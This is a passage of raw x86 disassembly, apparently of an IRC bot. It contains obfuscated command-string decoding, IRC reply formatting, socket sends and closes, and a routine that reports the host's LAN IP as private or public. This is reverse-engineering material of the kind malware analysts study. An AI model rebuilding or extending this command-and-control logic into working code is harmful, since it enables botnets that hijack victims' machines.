mov [esp+50h+var_C], esp
push offset asc_444C70 ; "!"
push ebx
push ecx
mov ecx, eax
call sub_4016B8
mov ecx, offset word_44AC6E
mov byte ptr [esp+50h+arg_246C], 37h
call sub_40212B
lea ecx, [esp+20h+arg_3AC]
mov byte ptr [esp+20h+arg_246C], 34h
call sub_401226
lea ecx, [esp+20h+arg_3DC]
mov byte ptr [esp+20h+arg_246C], bl
call sub_401226
jmp short loc_4113F7
; ---------------------------------------------------------------------------
loc_4113F0: ; CODE XREF: sub_410030+391j
mov ecx, ebp
call sub_401D20
loc_4113F7: ; CODE XREF: sub_410030+1D3j
; sub_410030+253j ...
cmp [ebp+17h], bl
jnz loc_410072
loc_411400: ; CODE XREF: sub_410030+3Cj
; sub_410030+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_410030 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411930 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411930
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402072
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411930 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4119B0: ; CODE XREF: ___:loc_40115Ej
; ___:004016F4j
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4119C8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_4119C8: ; CODE XREF: ___:004119BDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4119E0 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4119E0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401979
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4119E0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A60 proc near ; CODE XREF: sub_402072j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A60
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_40142E
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A60 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B20 proc near ; CODE XREF: sub_401979j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411B20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411B20 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411BE0 proc near ; CODE XREF: sub_4019E2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401979
test [esp+4+arg_0], 1
jz short loc_411BF8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_411BF8: ; CODE XREF: sub_411BE0+Dj
mov eax, esi
pop esi
retn 4
sub_411BE0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411C10 proc near ; CODE XREF: sub_401A19j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411C10
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411C36
lea edi, [esi+11h]
jmp short loc_411C38
; ---------------------------------------------------------------------------
loc_411C36: ; CODE XREF: sub_411C10+1Fj
xor edi, edi
loc_411C38: ; CODE XREF: sub_411C10+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019C4
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017EE
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
sub_411C10 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C8C
lea ebx, [esi+11h]
jmp short loc_411C8E
; ---------------------------------------------------------------------------
loc_411C8C: ; CODE XREF: ___:00411C85j
xor ebx, ebx
loc_411C8E: ; CODE XREF: ___:00411C8Aj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019C4
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017EE
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CEB
lea ebx, [esi+11h]
jmp short loc_411CED
; ---------------------------------------------------------------------------
loc_411CEB: ; CODE XREF: ___:00411CE4j
xor ebx, ebx
loc_411CED: ; CODE XREF: ___:00411CE9j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017EE
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D40
lea ebx, [esi+11h]
jmp short loc_411D42
; ---------------------------------------------------------------------------
loc_411D40: ; CODE XREF: ___:00411D39j
xor ebx, ebx
loc_411D42: ; CODE XREF: ___:00411D3Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017EE
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D95
lea ebx, [esi+11h]
jmp short loc_411D97
; ---------------------------------------------------------------------------
loc_411D95: ; CODE XREF: ___:00411D8Ej
xor ebx, ebx
loc_411D97: ; CODE XREF: ___:00411D93j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019C4
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017EE
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DE8
lea ebx, [esi+11h]
jmp short loc_411DEA
; ---------------------------------------------------------------------------
loc_411DE8: ; CODE XREF: ___:00411DE1j
xor ebx, ebx
loc_411DEA: ; CODE XREF: ___:00411DE6j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019C4
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017EE
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E41
lea ebx, [esi+11h]
jmp short loc_411E43
; ---------------------------------------------------------------------------
loc_411E41: ; CODE XREF: ___:00411E3Aj
xor ebx, ebx
loc_411E43: ; CODE XREF: ___:00411E3Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017EE
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E9F
lea ebx, [esi+11h]
jmp short loc_411EA1
; ---------------------------------------------------------------------------
loc_411E9F: ; CODE XREF: ___:00411E98j
xor ebx, ebx
loc_411EA1: ; CODE XREF: ___:00411E9Dj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017EE
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411EFA
lea ebx, [esi+11h]
jmp short loc_411EFC
; ---------------------------------------------------------------------------
loc_411EFA: ; CODE XREF: ___:00411EF3j
xor ebx, ebx
loc_411EFC: ; CODE XREF: ___:00411EF8j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017EE
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411F55
lea ebx, [esi+11h]
jmp short loc_411F57
; ---------------------------------------------------------------------------
loc_411F55: ; CODE XREF: ___:00411F4Ej
xor ebx, ebx
loc_411F57: ; CODE XREF: ___:00411F53j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017EE
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_449128
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4120B0 proc near ; CODE XREF: sub_401ACDj
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_4120B0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+26Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_4125D9
lea ecx, [edi+0A1h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4121B2
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
mov edx, dword_4490D0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSSS_1 ; "%s %s :%s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4121B2: ; CODE XREF: sub_4120B0+70j
lea ecx, [edi+187h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412229
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_412229: ; CODE XREF: sub_4120B0+117j
lea ecx, [edi+0FDh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122E4
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018B1
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412602
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4122E4: ; CODE XREF: sub_4120B0+18Ej
lea ecx, [edi+12Bh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41238D
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490D4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_4120B0+249j
lea ecx, [edi+1B5h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_4123FB
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017EE
mov edx, dword_449100
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E24
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4123FB: ; CODE XREF: sub_4120B0+2F2j
lea ecx, [edi+23Fh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41245D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E47
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017EE
push eax
add edi, 0FFFFFFEFh
push offset aS_3 ; "%s\r\n"
push edi
call sub_401E24
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_41245D: ; CODE XREF: sub_4120B0+360j
lea ecx, [edi+1E3h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4124FD
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push 1
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014DD
push eax
mov ecx, esi
call sub_4014DD
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412602
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_4120B0+3C2j
lea ecx, [edi+159h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412602
push offset asc_444600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016B8
mov ebx, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_449104
push eax
add edi, 0FFFFFFEFh
push offset aSSSS ; "%s %s %s %s\r\n"
push edi
call sub_401E24
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412602
; ---------------------------------------------------------------------------
loc_4125D9: ; CODE XREF: sub_4120B0+3Aj
; sub_4120B0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
call near ptr 71AB9639h
nop
mov ecx, offset word_44AC6E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401541
loc_412602: ; CODE XREF: sub_4120B0+FDj
; sub_4120B0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_4120B0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412780 proc near ; CODE XREF: sub_401D4Dj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_412780
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_40142E
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
call near ptr word_5F67AE
nop
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_448F40
call sub_4015E1
push offset aLan ; "lan: "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401AAF
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016C7
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea ecx, [esp+50h+var_34]
push ecx
call sub_401483
add esp, 4
test al, al
jz short loc_41288B
push offset aPrivate ; "[PRIVATE]"
jmp short loc_412890
; ---------------------------------------------------------------------------
loc_41288B: ; CODE XREF: sub_412780+102j
push offset aPublic ; "[PUBLIC]"
loc_412890: ; CODE XREF: sub_412780+109j
lea ecx, [esp+54h+var_24]
call sub_401AAF
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_412780 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412940 proc near ; CODE XREF: sub_40158Cj
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_41299E
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC6E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_41299E: ; CODE XREF: sub_412940+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412940 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4129D0 proc near ; CODE XREF: sub_401E24j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_40158C
add esp, 2000h
retn
sub_4129D0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412A40 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412A40
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_412A77
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_412A77: ; CODE XREF: sub_412A40+21j
lea ecx, [esp+40h+var_3C]
call sub_40142E
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_412A98
mov eax, dword_4490D0
push eax
jmp short loc_412A9F
; ---------------------------------------------------------------------------
loc_412A98: ; CODE XREF: sub_412A40+4Ej
mov ecx, dword_4490D8
push ecx
loc_412A9F: ; CODE XREF: sub_412A40+56j
lea ecx, [esp+44h+var_3C]
call sub_4015E1
push ebx
lea ecx, [esp+44h+var_24]
call sub_40142E
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+50h+var_24]
push offset aSSS_1 ; "%s %s :%s\r\n"
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014DD
push eax
mov ecx, esi
call sub_40158C
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412A40 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B70 proc near ; CODE XREF: sub_401857j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412B70 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412BF0 proc near ; CODE XREF: sub_401D20j
push esi
mov esi, ecx
call sub_401FD7
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412BF0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412C20 proc near ; CODE XREF: sub_401FD7j
push esi
mov esi, ecx
